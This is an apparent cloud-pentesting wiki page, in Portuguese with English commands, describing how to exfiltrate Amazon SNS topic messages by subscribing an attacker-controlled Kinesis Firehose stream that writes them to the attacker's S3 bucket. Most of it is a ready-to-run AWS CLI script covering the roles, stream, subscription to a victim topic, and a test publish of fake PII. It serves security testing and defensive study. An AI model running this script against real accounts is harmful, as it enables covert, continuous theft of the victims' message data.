AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)

Reading time: 4 minutes

Abuse o protocolo de assinatura do Firehose para registrar um Kinesis Data Firehose delivery stream controlado pelo atacante em um tópico SNS standard da vítima. Uma vez que a assinatura esteja configurada e a IAM role exigida confie em sns.amazonaws.com, cada notificação futura será gravada de forma durável no S3 bucket do atacante com ruído mínimo.

Requisitos

• Permissões na conta do atacante para criar um S3 bucket, um Firehose delivery stream e a IAM role usada pelo Firehose (firehose:*, iam:CreateRole, iam:PutRolePolicy, s3:PutBucketPolicy, etc.).
• A capacidade de sns:Subscribe ao tópico da vítima (e opcionalmente sns:SetSubscriptionAttributes se o subscription role ARN for fornecido após a criação).
• Uma topic policy que permita ao principal atacante se inscrever (ou o atacante já opera dentro da mesma conta).

Passos do Ataque (exemplo na mesma conta)

REGION=us-east-1
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
SUFFIX=$(date +%s)

# 1) Create attacker S3 bucket and Firehose delivery stream
ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
aws s3 mb s3://$ATTACKER_BUCKET --region $REGION

STREAM_NAME=ht-firehose-stream-$SUFFIX
FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX

# Role Firehose assumes to write into the bucket
aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
}'

cat > /tmp/firehose-s3-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
JSON
aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json

aws firehose create-delivery-stream \
--delivery-stream-name "$STREAM_NAME" \
--delivery-stream-type DirectPut \
--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
--region $REGION >/dev/null

# 2) IAM role SNS assumes when delivering into Firehose
SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
}'

cat > /tmp/allow-firehose.json <<JSON
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
JSON
aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json

SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME

# 3) Subscribe Firehose to the victim topic
TOPIC_ARN=<VICTIM_TOPIC_ARN>
aws sns subscribe \
--topic-arn "$TOPIC_ARN" \
--protocol firehose \
--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
--region $REGION

# 4) Publish test message and confirm arrival in S3
aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
sleep 90
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive

Limpeza

• Exclua a SNS subscription, o Firehose delivery stream, as temporary IAM roles/policies e o attacker S3 bucket.

Impacto

Impacto Potencial: Exfiltração contínua e durável de cada mensagem publicada no SNS topic alvo para armazenamento controlado pelo attacker com pegada operacional mínima.